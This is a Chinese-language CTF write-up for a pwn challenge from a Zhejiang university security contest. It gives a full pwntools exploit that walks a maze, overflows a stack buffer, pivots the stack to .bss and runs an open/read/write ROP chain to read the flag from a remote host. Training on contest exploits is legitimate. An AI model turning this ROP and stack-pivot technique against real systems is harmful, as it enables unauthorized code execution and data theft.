前言:
来自浙江省第五届大学生网络与信息安全竞赛决赛的一道pwn,比赛时没做出来,根据大佬wp赛后复现
程序大致流程:
就是用wasd走迷宫,走到终点后会有个溢出点
然后ida到那个函数可以发现输入长度为0x200,边界是0x178
另外这题还禁用了execve,比赛时没发现
所以利用就是溢出orw组合读取flag
值得注意的是orw的话rop链还是太长,可以栈迁移到bss段
gdb调试不了解决办法:
gdb调试设置好set follow-fork-mode parent和set detach-on-fork
on才能不会因为system或exec这类函数卡死
exp:
from pwn import *
local_file = './pwn'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('1.14.97.218',28231 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
#-----------------------
sl('s')
sl('s')
sl('s')
sl('s')
sl('s')
sl('d')
sl('d')
sl('d')
sl('w')
sl('w')
sl('w')
sl('d')
sl('d')
sl('d')
sl('w')
sl('d')
sl('w')
sl('w')
#------------------
#ROPgadget --binary ./pwn --only "pop|ret"|grep "rdi"
pop_rax_ret=0x400a4f
pop_rdi_ret=0x4008f6
pop_rsi_ret=0x40416f
pop_rdx_ret=0x51d4b6
bss_addr=elf.bss()+0x200
leave_ret=0x4015cb
#ROPgadget --binary ./pwn --only "syscall"
syscall_ret=0x4025ab
str_flag_addr=0x6398F3#ida find
#----------call_sys_open-------------
payload = 'a'*0x8
payload += p64(pop_rax_ret)
payload += p64(0x2)
payload += p64(pop_rdi_ret)
payload += p64(str_flag_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(syscall_ret)
#-----------call_sys_read------------
payload += p64(pop_rax_ret)
payload += p64(0x0)
payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rdx_ret)
payload += p64(0x50)
payload += p64(syscall_ret)
#-----------call_sys_write------------
payload += p64(pop_rax_ret)
payload += p64(0x1)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rdx_ret)
payload += p64(0x50)
payload += p64(syscall_ret)
#--------------------------------
payload1 = p64(pop_rax_ret)
payload1 += p64(0x0)
payload1 += p64(pop_rdi_ret)
payload1 += p64(0)
payload1 += p64(pop_rsi_ret)
payload1 += p64(bss_addr+0x300)
payload1 += p64(pop_rdx_ret)
payload1 += p64(0x200)
payload1 += p64(syscall_ret)
payload1 += p64(leave_ret)
ru('flag\x00')
sl('a'*0x178+p64(bss_addr+0x300)+payload1)
sl(payload)
r.interactive()